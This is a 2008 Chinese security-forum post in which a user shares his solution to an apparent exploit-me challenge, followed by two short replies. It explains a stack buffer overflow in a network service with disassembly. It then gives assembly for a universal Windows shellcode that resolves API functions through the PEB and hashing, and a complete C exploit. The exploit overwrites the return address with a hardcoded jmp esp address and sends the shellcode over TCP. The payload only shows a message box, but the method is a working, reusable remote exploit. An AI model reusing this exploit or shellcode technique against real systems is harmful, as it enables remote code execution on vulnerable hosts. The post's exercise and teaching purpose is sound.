首页
论坛
课程
招聘
[原创]我也放一下我的A题答案,呵呵
2008-1-2 15:11 3560

[原创]我也放一下我的A题答案,呵呵

2008-1-2 15:11
3560
漏洞描述:
问题出现在这个函数
0040124B  |> \8D5424 34     |lea     edx, dword ptr [esp+34]
0040124F  |.  52            |push    edx //收到的数据
00401250  |.  E8 ABFDFFFF   |call    00401000
跟进去发现
00401000  /$  81EC C8000000 sub     esp, 0C8 //分配的0xC8字节的堆栈空间,当传入的数据长度大于0xC8的时候,就会造成堆栈溢出,覆盖这个函数返回地址。
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi
00401010  |.  57            push    edi
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]
00401018  |.  68 4C904000   push    0040904C                         ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scas byte ptr es:[edi]
0040101F  |.  F7D1          not     ecx
00401021  |.  2BF9          sub     edi, ecx
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2
0040102C  |.  F3:A5         rep     movs dword ptr es:[edi], dword p>//这儿是进行传入的数据写入本函数的堆栈,超过0xC8个字节就会造成溢出。
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3
00401033  |.  F3:A4         rep     movs byte ptr es:[edi], byte ptr>
00401035  |.  B9 689A4000   mov     ecx, 00409A68
所以我们可以在0xC8写入我们的jmp esp的地址,后面跟上我们构造的shellcode,这样通过执行jmp esp后就是执行我们构造的shellcode。

Shellcode来自于修改www.hick.org的代码,

简单说一下我改造后的shellcode的功能,这是一个通用的弹出一个messagebox的窗口,
通过PEB的方式找到kernel32.dll的基址,再通过计算函数名的HASH值,到kernel32.dll的导出表找出对应的函数的地址,我要找的函数有LoadLibraryA,GetModuleHandleA,ExitProcess,要用GetModuleHandleA是因为查询该进程是否装载了动态库user32.dll,如果装载了就不用LoadLibraryA装载了user32.dll了,不然会出错的,通过GetModuleHandleA可以找出已经装载的user32.dll库的基址,然后通过MessageBoxA的HASH值找到user32.dll导出表中的MessageBoxA函数地址。执行MessageBoxA弹出窗口后,利用ExitProcess退出程序。
        __asm
        {
                MsgPop:
                        jmp startup_bnc                 // Jump to the startup bounce point
#include "generic.c"
        startup_bnc:
          jmp startup                             // Jump to the real startup
                resolve_symbols_for_dll:
            lodsd                                // Load the current dword from esi into eax
                push eax                 // Push the hash as the second argument to find_function
                push edx               // Push the base address of the current dll being loaded from
                call find_function        // Call find_function
            mov  [edi], eax        // Store the return address in the current output buffer pointer
        add  esp, 0x08                     // Restore eight bytes to the stack.
        add  edi, 0x04                // Add 4 bytes to the output buffer to move to the next slot
        cmp  esi, ecx                        // Have we reached the end?
        jne  resolve_symbols_for_dll              // If not, continue loading
        resolve_symbols_for_dll_finished:
                        ret                                       // Return to the caller
                kernel32_symbol_hashes:
                EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA        [0x04]
                EMIT_4_LITTLE_ENDIAN(0x04,0x49,0x32,0xD3) //GetModuleHandleA
                EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess         [0x08]
                ws2_32_symbol_hashes:
                EMIT_4_LITTLE_ENDIAN(0xA8,0xA2,0x4D,0xBC) //MessageBoxA        [0x0c]
                startup:
                        sub  esp, 0x60                        // Allocate 0x60 bytes of stack space
                        mov  ebp, esp                        // Use ebp as the frame pointer
                        jmp  get_absolute_address_forward         // Jump forward past the middle
                get_absolute_address_middle:
        jmp  get_absolute_address_end // Jump to the end now that we have our VMA on the stack
                get_absolute_address_forward:
                        call get_absolute_address_middle          // Call to the middle to push the VMA of 'pop esi' onto the stack
                get_absolute_address_end:
                        pop  esi                                  // Pop the return address from the stack into esi

                        call find_kernel32                        // Find the kernel32.dll base address through whatever means
                        mov  edx, eax                   // Save the kernel32.dll base address in edx
        resolve_kernel32_symbols:
                        sub  esi, 0x1e                   // Offset esi 0x36 bytes back from 'pop esi'
                lea  edi, [ebp + 0x04]                    // Set edi to the start of our output buffer
                        mov  ecx, esi                     // Set ecx to the address of the first hash
                        add  ecx, 0x0c           // Set the stop point to the first hash address + 0x10
                        call resolve_symbols_for_dll          // Resolve all the kernel32.dll symbols
                        xor  eax, eax                             // Zero eax
                        mov  ax, 0x3233                     // Set the low order bytes of eax to '32'
                        push eax                                  // Push '32\0\0'
                        push 0x72657375                           // Push 'user'
                        mov  ebx, esp                 // Save the pointer to the 'user32' string in ebx
                        push ecx                                  // Save ecx so that it does not get clobbered
                        push edx                        // Save edx so that it does not get clobbered
                        push ebx                      // Push the 'user32' string pointer onto the stack
                        call [ebp + 0x08]     
            pop  edx                                  // Restore edx
                        pop  ecx  
                        test eax,eax
                        jne IsLoaded

                resolve_user32_symbols:
            add ecx,0x04
                        xor  eax, eax                             // Zero eax
                        mov  ax, 0x3233                    // Set the low order bytes of eax to '32'
                        push eax                                  // Push '32\0\0'
                        push 0x72657375                           // Push 'user'
                        mov  ebx, esp                // Save the pointer to the 'user32' string in ebx
                        push ecx                        // Save ecx so that it does not get clobbered
                        push edx                        // Save edx so that it does not get clobbered
                        push ebx                      // Push the 'user32' string pointer onto the stack
                        call [ebp + 0x04]                         // Call LoadLibraryA
                        pop  edx                                  // Restore edx
                        pop  ecx                           // Restore ecx
                        mov  edx, eax                    // Set edx to the base address of user32.dll
                        call resolve_symbols_for_dll              // Resolve all the user32.dll symbols
        
MessageBox_xee:
               
                        xor ebx,ebx
                        push ebx

                        push 0x65656578 //xeee.
                       
            mov eax,esp
                        push ebx
                        push eax
                        push eax
                        push ebx
                        call [ebp+0x10] //MessageBox(NULL,”xeee”,”xeee”,MB_OK);
               

                exit_process:
                        call [ebp + 0x0c]                         // Call ExitProcess

IsLoaded:     
                        add ecx,0x04
                   mov edx,eax
                        call resolve_symbols_for_dll
                        jmp MessageBox_xee
        }

这是一个通用的95/98/ME/NT/2K/XP/2003的弹出窗口的shellcode,
因为它是动态的找出函数的地址,而不是平台依赖的硬编码,所以它是非常稳定的shellcode.

我的exploit
#include <stdio.h>
#include <WinSock2.h>
#pragma comment (lib,"ws2_32")
unsigned char uszShellcode[] ={
0xEB,0x70,0x56,0x33,0xC0,0x64,0x8B,0x40,0x30,0x85,0xC0,0x78,0x0C,0x8B,0x40,0x0C
,0x8B,0x70,0x1C,0xAD,0x8B,0x40,0x08,0xEB,0x09,0x8B,0x40,0x34,0x8D,0x40,0x7C,0x8B
,0x40,0x3C,0x5E,0xC3,0x60,0x8B,0x6C,0x24,0x24,0x8B,0x45,0x3C,0x8B,0x54,0x05,0x78
,0x03,0xD5,0x8B,0x4A,0x18,0x8B,0x5A,0x20,0x03,0xDD,0xE3,0x34,0x49,0x8B,0x34,0x8B
,0x03,0xF5,0x33,0xFF,0x33,0xC0,0xFC,0xAC,0x84,0xC0,0x74,0x07,0xC1,0xCF,0x0D,0x03
,0xF8,0xEB,0xF4,0x3B,0x7C,0x24,0x28,0x75,0xE1,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x8B
,0x0C,0x4B,0x8B,0x5A,0x1C,0x03,0xDD,0x8B,0x04,0x8B,0x03,0xC5,0x89,0x44,0x24,0x1C
,0x61,0xC3,0xEB,0x25,0xAD,0x50,0x52,0xE8,0xA8,0xFF,0xFF,0xFF,0x89,0x07,0x83,0xC4
,0x08,0x83,0xC7,0x04,0x3B,0xF1,0x75,0xEC,0xC3,0x8E,0x4E,0x0E,0xEC,0x04,0x49,0x32
,0xD3,0x7E,0xD8,0xE2,0x73,0xA8,0xA2,0x4D,0xBC,0x83,0xEC,0x60,0x8B,0xEC,0xEB,0x02
,0xEB,0x05,0xE8,0xF9,0xFF,0xFF,0xFF,0x5E,0xE8,0x55,0xFF,0xFF,0xFF,0x8B,0xD0,0x83
,0xEE,0x1E,0x8D,0x7D,0x04,0x8B,0xCE,0x83,0xC1,0x0C,0xE8,0xB5,0xFF,0xFF,0xFF,0x33
,0xC0,0x66,0xB8,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53
,0xFF,0x55,0x08,0x5A,0x59,0x85,0xC0,0x75,0x34,0x83,0xC1,0x04,0x33,0xC0,0x66,0xB8
,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53,0xFF,0x55,0x04
,0x5A,0x59,0x8B,0xD0,0xE8,0x7B,0xFF,0xFF,0xFF,0x33,0xDB,0x53,0x68,0x78,0x65,0x65
,0x65,0x8B,0xC4,0x53,0x50,0x50,0x53,0xFF,0x55,0x10,0xFF,0x55,0x0C,0x83,0xC1,0x04
,0x8B,0xD0,0xE8,0x5D,0xFF,0xFF,0xFF,0xEB,0xE0,0xCC};
//Universal shellcode for MessageBoxA
//MessageBox(NULL,"xeee","xeee",MB_OK);

unsigned char uszJmps[] =
/* 0x77D5B0E0 - jmp esp user32.dll (Windows XP SP2) */
"\xE0\xB0\xD5\x77"
;

void usage(){
        printf("\n\t\tExploit me Stack Overflow\n"
                "\t\t\t(c) 2007 by xee\n\n"
                "usage: exploit.exe <ip> <port>\n");
}
int main( int argc, char **argv ) {
        WSADATA wsaData;
        SOCKET sConnect;
        SOCKADDR_IN sockAddr;
        char szRecvBuf[4096];
        unsigned char uszPacket[4096];
        int nRet;
       
        if ( argc < 3 ) {
                usage();
                return -1;
        }
       
        if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
                printf("[-] Unable to startup winsock\n");
                return -1;
        }
       
        sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
        if ( sConnect == INVALID_SOCKET ) {
                printf("[-] Invalid socket\n");
                return -1;
        }
       
        sockAddr.sin_family = AF_INET;
        sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
        sockAddr.sin_port = htons( atoi( argv[2] ) );
       
        printf("[+] Connecting to %s:%s\n", argv[1], argv[2] );
        nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) );
        if ( nRet == SOCKET_ERROR ) {
                closesocket( sConnect );
                printf("[-] Cannot connect to server\n");
                return -1;
        }

        memset(uszPacket, 0x2e, sizeof(uszPacket)-1 );
        memcpy(uszPacket+0xc8,uszJmps,sizeof(uszJmps)-1);//rewrite return address to uszJmps
        memcpy(uszPacket+0xcc,uszShellcode,sizeof(uszShellcode)-1); //write the Msg Shellcode
       
       
        printf("[+] Sending overflow packet...\n");
        nRet = send( sConnect, (const char *)uszPacket, sizeof(uszPacket)-1, 0 );
        if ( nRet  == SOCKET_ERROR ) {
                closesocket( sConnect );
                printf("[-] Cannot send\n");
                return -1;
        }
       

       
       
        nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 );
        if ( nRet == SOCKET_ERROR ) {
                closesocket( sConnect );
                printf("[-] Cannot send\n");
                return -1;
        }
       
        printf("[+] Pop up a message box about xeee :)\n");
    Sleep(1000);
        closesocket( sConnect );
        return 0;
}

看雪2022 KCTF 秋季赛 防守篇规则,征题截止日期11月12日!(iPhone 14等你拿!)

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 110
活跃值: 活跃值 (249)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-1-2 15:32
2
0
好,学习
雪    币: 4454
活跃值: 活跃值 (797)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
vessial(xee) 活跃值 11 2008-1-2 17:35
3
0
老大,我也要混篇精华啊。
游客
登录 | 注册 方可回帖
返回